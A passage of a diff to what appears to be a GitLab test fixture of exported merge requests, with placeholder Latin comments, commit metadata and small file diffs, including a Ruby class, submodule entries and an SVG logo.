@@\n+Subproject commit 79bceae69cb5750d6567b223597999bfa91cb3b9\n","new_path":"gitlab-shell","old_path":"gitlab-shell","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":27,"created_at":"2016-06-14T15:02:36.572Z","updated_at":"2016-06-14T15:02:36.658Z","base_commit_sha":"ae73cb07c9eeaf35924a10f713b364d32b2dd34f","real_size":"9"},"events":[{"id":221,"target_type":"MergeRequest","target_id":27,"project_id":36,"created_at":"2016-06-14T15:02:36.703Z","updated_at":"2016-06-14T15:02:36.703Z","action":1,"author_id":1},{"id":187,"target_type":"MergeRequest","target_id":27,"project_id":5,"created_at":"2016-06-14T15:02:36.703Z","updated_at":"2016-06-14T15:02:36.703Z","action":1,"author_id":1}],"approvals_before_merge":1,"award_emoji":[{"id":1,"name":"thumbsup","user_id":1,"awardable_type":"MergeRequest","awardable_id":27,"created_at":"2020-01-07T11:21:21.235Z","updated_at":"2020-01-07T11:21:21.235Z"},{"id":2,"name":"drum","user_id":1,"awardable_type":"MergeRequest","awardable_id":27,"created_at":"2020-01-07T11:21:21.235Z","updated_at":"2020-01-07T11:21:21.235Z"}]}
-{"id":26,"target_branch":"master","source_branch":"feature","source_project_id":4,"author_id":1,"assignee_id":null,"title":"MR2","created_at":"2016-06-14T15:02:36.418Z","updated_at":"2016-06-14T15:02:57.013Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":8,"description":null,"position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":679,"note":"Qui rerum totam nisi est.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:56.848Z","updated_at":"2016-06-14T15:02:56.848Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":680,"note":"Pariatur magni corrupti consequatur debitis minima error beatae voluptatem.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:56.871Z","updated_at":"2016-06-14T15:02:56.871Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":681,"note":"Qui quis ut modi eos rerum ratione.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:56.895Z","updated_at":"2016-06-14T15:02:56.895Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":682,"note":"Illum quidem expedita mollitia fugit.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:56.918Z","updated_at":"2016-06-14T15:02:56.918Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":683,"note":"Consectetur voluptate sit sint possimus veritatis quod.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:56.942Z","updated_at":"2016-06-14T15:02:56.942Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":684,"note":"Natus libero quibusdam rem assumenda deleniti accusamus sed earum.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:56.966Z","updated_at":"2016-06-14T15:02:56.966Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":685,"note":"Tenetur autem nihil rerum odit.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:56.989Z","updated_at":"2016-06-14T15:02:56.989Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":686,"note":"Quia maiores et odio sed.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:57.012Z","updated_at":"2016-06-14T15:02:57.012Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":26,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":26,"sha":"0b4bc9a49b562e85de7cc9e834518ea6828729b9","relative_order":0,"message":"Feature added\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:26:01.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:26:01.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"}],"merge_request_diff_files":[{"merge_request_diff_id":26,"relative_order":0,"utf8_diff":"--- /dev/null\n+++ b/files/ruby/feature.rb\n@@ -0,0 +1,5 @@\n+class Feature\n+ def foo\n+ puts 'bar'\n+ end\n+end\n","new_path":"files/ruby/feature.rb","old_path":"files/ruby/feature.rb","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":26,"created_at":"2016-06-14T15:02:36.421Z","updated_at":"2016-06-14T15:02:36.474Z","base_commit_sha":"ae73cb07c9eeaf35924a10f713b364d32b2dd34f","real_size":"1"},"events":[{"id":222,"target_type":"MergeRequest","target_id":26,"project_id":36,"created_at":"2016-06-14T15:02:36.496Z","updated_at":"2016-06-14T15:02:36.496Z","action":1,"author_id":1},{"id":186,"target_type":"MergeRequest","target_id":26,"project_id":5,"created_at":"2016-06-14T15:02:36.496Z","updated_at":"2016-06-14T15:02:36.496Z","action":1,"author_id":1}]}
-{"id":15,"target_branch":"test-7","source_branch":"test-1","source_project_id":5,"author_id":22,"assignee_id":16,"title":"Qui accusantium et inventore facilis doloribus occaecati officiis.","created_at":"2016-06-14T15:02:25.168Z","updated_at":"2016-06-14T15:02:59.521Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":7,"description":"Et commodi deserunt aspernatur vero rerum. Ut non dolorum alias in odit est libero. Voluptatibus eos in et vitae repudiandae facilis ex mollitia.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":777,"note":"Pariatur voluptas placeat aspernatur culpa suscipit soluta.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:59.348Z","updated_at":"2016-06-14T15:02:59.348Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":778,"note":"Alias et iure mollitia suscipit molestiae voluptatum nostrum asperiores.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:59.372Z","updated_at":"2016-06-14T15:02:59.372Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":779,"note":"Laudantium qui eum qui sunt.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:59.395Z","updated_at":"2016-06-14T15:02:59.395Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":780,"note":"Quas rem est iusto ut delectus fugiat recusandae mollitia.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:59.418Z","updated_at":"2016-06-14T15:02:59.418Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":781,"note":"Repellendus ab et qui nesciunt.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:59.444Z","updated_at":"2016-06-14T15:02:59.444Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":782,"note":"Non possimus voluptatum odio qui ut.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:59.469Z","updated_at":"2016-06-14T15:02:59.469Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":783,"note":"Dolores repellendus eum ducimus quam ab dolorem quia.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:59.494Z","updated_at":"2016-06-14T15:02:59.494Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":784,"note":"Facilis dolorem aut corrupti id ratione occaecati.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:59.520Z","updated_at":"2016-06-14T15:02:59.520Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":15,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":15,"relative_order":0,"sha":"94b8d581c48d894b86661718582fecbc5e3ed2eb","message":"fixes #10\n","authored_date":"2016-01-19T13:22:56.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T13:22:56.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es"}],"merge_request_diff_files":[{"merge_request_diff_id":15,"relative_order":0,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":15,"created_at":"2016-06-14T15:02:25.171Z","updated_at":"2016-06-14T15:02:25.230Z","base_commit_sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","real_size":"1"},"events":[{"id":223,"target_type":"MergeRequest","target_id":15,"project_id":36,"created_at":"2016-06-14T15:02:25.262Z","updated_at":"2016-06-14T15:02:25.262Z","action":1,"author_id":1},{"id":175,"target_type":"MergeRequest","target_id":15,"project_id":5,"created_at":"2016-06-14T15:02:25.262Z","updated_at":"2016-06-14T15:02:25.262Z","action":1,"author_id":22}]}
-{"id":14,"target_branch":"fix","source_branch":"test-3","source_project_id":5,"author_id":20,"assignee_id":20,"title":"In voluptas aut sequi voluptatem ullam vel corporis illum consequatur.","created_at":"2016-06-14T15:02:24.760Z","updated_at":"2016-06-14T15:02:59.749Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":6,"description":"Dicta magnam non voluptates nam dignissimos nostrum deserunt. Dolorum et suscipit iure quae doloremque. Necessitatibus saepe aut labore sed.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":785,"note":"Atque cupiditate necessitatibus deserunt minus natus odit.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:59.559Z","updated_at":"2016-06-14T15:02:59.559Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":786,"note":"Non dolorem provident mollitia nesciunt optio ex eveniet.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:59.587Z","updated_at":"2016-06-14T15:02:59.587Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":787,"note":"Similique officia nemo quasi commodi accusantium quae qui.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:59.621Z","updated_at":"2016-06-14T15:02:59.621Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":788,"note":"Et est et alias ad dolor qui.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:59.650Z","updated_at":"2016-06-14T15:02:59.650Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":789,"note":"Numquam temporibus ratione voluptatibus aliquid.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:59.675Z","updated_at":"2016-06-14T15:02:59.675Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":790,"note":"Ut ex aliquam consectetur perferendis est hic aut quia.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:59.703Z","updated_at":"2016-06-14T15:02:59.703Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":791,"note":"Esse eos quam quaerat aut ut asperiores officiis.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:59.726Z","updated_at":"2016-06-14T15:02:59.726Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":792,"note":"Sint facilis accusantium iure blanditiis.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:59.748Z","updated_at":"2016-06-14T15:02:59.748Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":14,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":14,"relative_order":0,"sha":"ddd4ff416a931589c695eb4f5b23f844426f6928","message":"fixes #10\n","authored_date":"2016-01-19T14:14:43.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T14:14:43.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es"},{"merge_request_diff_id":14,"relative_order":1,"sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","message":"Merge branch 'master' into 'master'\r\n\r\nLFS object pointer.\r\n\r\n\r\n\r\nSee merge request !6","authored_date":"2015-12-07T12:52:12.000+01:00","author_name":"Marin Jankovski","author_email":"marin@gitlab.com","committed_date":"2015-12-07T12:52:12.000+01:00","committer_name":"Marin Jankovski","committer_email":"marin@gitlab.com"},{"merge_request_diff_id":14,"relative_order":2,"sha":"048721d90c449b244b7b4c53a9186b04330174ec","message":"LFS object pointer.\n","authored_date":"2015-12-07T11:54:28.000+01:00","author_name":"Marin Jankovski","author_email":"maxlazio@gmail.com","committed_date":"2015-12-07T11:54:28.000+01:00","committer_name":"Marin Jankovski","committer_email":"maxlazio@gmail.com"},{"merge_request_diff_id":14,"relative_order":3,"sha":"5f923865dde3436854e9ceb9cdb7815618d4e849","message":"GitLab currently doesn't support patches that involve a merge commit: add a commit here\n","authored_date":"2015-11-13T16:27:12.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T16:27:12.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":14,"relative_order":4,"sha":"d2d430676773caa88cdaf7c55944073b2fd5561a","message":"Merge branch 'add-svg' into 'master'\r\n\r\nAdd GitLab SVG\r\n\r\nAdded to test preview of sanitized SVG images\r\n\r\nSee merge request !5","authored_date":"2015-11-13T08:50:17.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:50:17.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":14,"relative_order":5,"sha":"2ea1f3dec713d940208fb5ce4a38765ecb5d3f73","message":"Add GitLab SVG\n","authored_date":"2015-11-13T08:39:43.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:39:43.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":14,"relative_order":6,"sha":"59e29889be61e6e0e5e223bfa9ac2721d31605b8","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd whitespace test file\r\n\r\nSorry, I did a mistake.\r\nGit ignore empty files.\r\nSo I add a new whitespace test file.\r\n\r\nSee merge request !4","authored_date":"2015-11-13T07:21:40.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T07:21:40.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":14,"relative_order":7,"sha":"66eceea0db202bb39c4e445e8ca28689645366c5","message":"add spaces in whitespace file\n","authored_date":"2015-11-13T06:01:27.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:01:27.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":14,"relative_order":8,"sha":"08f22f255f082689c0d7d39d19205085311542bc","message":"remove empty file.(beacase git ignore empty file)\nadd whitespace test file.\n","authored_date":"2015-11-13T06:00:16.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:00:16.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":14,"relative_order":9,"sha":"19e2e9b4ef76b422ce1154af39a91323ccc57434","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd spaces\r\n\r\nTo test this pull request.(https://github.com/gitlabhq/gitlabhq/pull/9757)\r\nJust add whitespaces.\r\n\r\nSee merge request !3","authored_date":"2015-11-13T05:23:14.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T05:23:14.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":14,"relative_order":10,"sha":"c642fe9b8b9f28f9225d7ea953fe14e74748d53b","message":"add whitespace in empty\n","authored_date":"2015-11-13T05:08:45.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:45.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":14,"relative_order":11,"sha":"9a944d90955aaf45f6d0c88f30e27f8d2c41cec0","message":"add empty file\n","authored_date":"2015-11-13T05:08:04.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:04.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":14,"relative_order":12,"sha":"c7fbe50c7c7419d9701eebe64b1fdacc3df5b9dd","message":"Add ISO-8859 test file\n","authored_date":"2015-08-25T17:53:12.000+02:00","author_name":"Stan Hu","author_email":"stanhu@packetzoom.com","committed_date":"2015-08-25T17:53:12.000+02:00","committer_name":"Stan Hu","committer_email":"stanhu@packetzoom.com"},{"merge_request_diff_id":14,"relative_order":13,"sha":"e56497bb5f03a90a51293fc6d516788730953899","message":"Merge branch 'tree_helper_spec' into 'master'\n\nAdd directory structure for tree_helper spec\n\nThis directory structure is needed for a testing the method flatten_tree(tree) in the TreeHelper module\n\nSee [merge request #275](https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/275#note_732774)\n\nSee merge request !2\n","authored_date":"2015-01-10T22:23:29.000+01:00","author_name":"Sytse Sijbrandij","author_email":"sytse@gitlab.com","committed_date":"2015-01-10T22:23:29.000+01:00","committer_name":"Sytse Sijbrandij","committer_email":"sytse@gitlab.com"},{"merge_request_diff_id":14,"relative_order":14,"sha":"4cd80ccab63c82b4bad16faa5193fbd2aa06df40","message":"add directory structure for tree_helper spec\n","authored_date":"2015-01-10T21:28:18.000+01:00","author_name":"marmis85","author_email":"marmis85@gmail.com","committed_date":"2015-01-10T21:28:18.000+01:00","committer_name":"marmis85","committer_email":"marmis85@gmail.com"},{"merge_request_diff_id":14,"relative_order":15,"sha":"5937ac0a7beb003549fc5fd26fc247adbce4a52e","message":"Add submodule from gitlab.com\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T10:01:38.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T10:01:38.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":14,"relative_order":16,"sha":"570e7b2abdd848b95f2f578043fc23bd6f6fd24d","message":"Change some files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:57:31.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:57:31.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":14,"relative_order":17,"sha":"6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9","message":"More submodules\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:54:21.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:54:21.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":14,"relative_order":18,"sha":"d14d6c0abdd253381df51a723d58691b2ee1ab08","message":"Remove ds_store files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:49:50.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:49:50.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":14,"relative_order":19,"sha":"c1acaa58bbcbc3eafe538cb8274ba387047b69f8","message":"Ignore DS files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:48:32.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:48:32.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"}],"merge_request_diff_files":[{"merge_request_diff_id":14,"relative_order":0,"utf8_diff":"Binary files a/.DS_Store and /dev/null differ\n","new_path":".DS_Store","old_path":".DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":14,"relative_order":1,"utf8_diff":"--- a/.gitignore\n+++ b/.gitignore\n@@ -17,3 +17,4 @@ rerun.txt\n pickle-email-*.html\n .project\n config/initializers/secret_token.rb\n+.DS_Store\n","new_path":".gitignore","old_path":".gitignore","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":2,"utf8_diff":"--- a/.gitmodules\n+++ b/.gitmodules\n@@ -1,3 +1,9 @@\n [submodule \"six\"]\n \tpath = six\n \turl = git://github.com/randx/six.git\n+[submodule \"gitlab-shell\"]\n+\tpath = gitlab-shell\n+\turl = https://github.com/gitlabhq/gitlab-shell.git\n+[submodule \"gitlab-grack\"]\n+\tpath = gitlab-grack\n+\turl = https://gitlab.com/gitlab-org/gitlab-grack.git\n","new_path":".gitmodules","old_path":".gitmodules","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":3,"utf8_diff":"--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -1,4 +1,6 @@\n-v 6.7.0\n+v6.8.0\n+\n+v6.7.0\n - Add support for Gemnasium as a Project Service (Olivier Gonzalez)\n - Add edit file button to MergeRequest diff\n - Public groups (Jason Hollingsworth)\n","new_path":"CHANGELOG","old_path":"CHANGELOG","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/encoding/iso8859.txt\n@@ -0,0 +1 @@\n+Äü\n","new_path":"encoding/iso8859.txt","old_path":"encoding/iso8859.txt","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":5,"utf8_diff":"Binary files a/files/.DS_Store and /dev/null differ\n","new_path":"files/.DS_Store","old_path":"files/.DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":14,"relative_order":6,"utf8_diff":"--- /dev/null\n+++ b/files/images/wm.svg\n@@ -0,0 +1,78 @@\n+<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n+<svg width=\"1300px\" height=\"680px\" viewBox=\"0 0 1300 680\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n+ <!-- Generator: Sketch 3.2.2 (9983) - http://www.bohemiancoding.com/sketch -->\n+ <title>wm</title>\n+ <desc>Created with Sketch.</desc>\n+ <defs>\n+ <path id=\"path-1\" d=\"M-69.8,1023.54607 L1675.19996,1023.54607 L1675.19996,0 L-69.8,0 L-69.8,1023.54607 L-69.8,1023.54607 Z\"></path>\n+ </defs>\n+ <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n+ <path d=\"M1300,680 L0,680 L0,0 L1300,0 L1300,680 L1300,680 Z\" id=\"bg\" fill=\"#30353E\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"gitlab_logo\" sketch:type=\"MSLayerGroup\" transform=\"translate(-262.000000, -172.000000)\">\n+ <g id=\"g10\" transform=\"translate(872.500000, 512.354581) scale(1, -1) translate(-872.500000, -512.354581) translate(0.000000, 0.290751)\">\n+ <g id=\"g12\" transform=\"translate(1218.022652, 440.744871)\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\">\n+ <path d=\"M-50.0233338,141.900706 L-69.07059,141.900706 L-69.0100967,0.155858152 L8.04444805,0.155858152 L8.04444805,17.6840847 L-49.9628405,17.6840847 L-50.0233338,141.900706 L-50.0233338,141.900706 Z\" id=\"path14\"></path>\n+ </g>\n+ <g id=\"g16\">\n+ <g id=\"g18-Clipped\">\n+ <mask id=\"mask-2\" sketch:name=\"path22\" fill=\"white\">\n+ <use xlink:href=\"#path-1\"></use>\n+ </mask>\n+ <g id=\"path22\"></g>\n+ <g id=\"g18\" mask=\"url(#mask-2)\">\n+ <g transform=\"translate(382.736659, 312.879425)\">\n+ <g id=\"g24\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(852.718192, 124.992771)\">\n+ <path d=\"M63.9833317,27.9148929 C59.2218085,22.9379001 51.2134221,17.9597442 40.3909323,17.9597442 C25.8888194,17.9597442 20.0453962,25.1013043 20.0453962,34.4074318 C20.0453962,48.4730484 29.7848226,55.1819277 50.5642821,55.1819277 C54.4602853,55.1819277 60.7364685,54.7492469 63.9833317,54.1002256 L63.9833317,27.9148929 L63.9833317,27.9148929 Z M44.2869356,113.827628 C28.9053426,113.827628 14.7975996,108.376082 3.78897657,99.301416 L10.5211864,87.6422957 C18.3131929,92.1866076 27.8374026,96.7320827 41.4728323,96.7320827 C57.0568452,96.7320827 63.9833317,88.7239978 63.9833317,75.3074024 L63.9833317,68.3821827 C60.9528485,69.0312039 54.6766653,69.4650479 50.7806621,69.4650479 C17.4476729,69.4650479 0.565379986,57.7791759 0.565379986,33.3245665 C0.565379986,11.4683685 13.9844297,0.43151772 34.3299658,0.43151772 C48.0351955,0.43151772 61.1692285,6.70771614 65.7143717,16.8780421 L69.1776149,3.02876588 L82.5978279,3.02876588 L82.5978279,75.5237428 C82.5978279,98.462806 72.6408582,113.827628 44.2869356,113.827628 L44.2869356,113.827628 Z\" id=\"path26\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g28\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(959.546624, 124.857151)\">\n+ <path d=\"M37.2266657,17.4468081 C30.0837992,17.4468081 23.8064527,18.3121698 19.0449295,20.4767371 L19.0449295,79.2306079 L19.0449295,86.0464943 C25.538656,91.457331 33.5470425,95.3526217 43.7203922,95.3526217 C62.1173451,95.3526217 69.2602116,82.3687072 69.2602116,61.3767077 C69.2602116,31.5135879 57.7885819,17.4468081 37.2266657,17.4468081 